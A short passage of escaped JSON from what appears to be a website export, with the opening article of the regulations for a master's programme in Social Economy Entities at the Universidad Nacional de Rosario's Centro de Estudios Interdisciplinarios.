Direcci\u00f3n del Centro de Estudios Interdisciplinarios.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>REGLAMENTO.CARRERA DE MAESTR\u00cdA EN ENTIDADES DE LA ECONOMIA SOCIAL ARTICULO 1: La Carrera de posgrado \u201cMaestr\u00eda en Entidades de la Econom\u00eda Social\u201d, tendr\u00e1 asiento en el Centro de Estudios Interdisciplinarios de la Universidad Nacional de Rosario. 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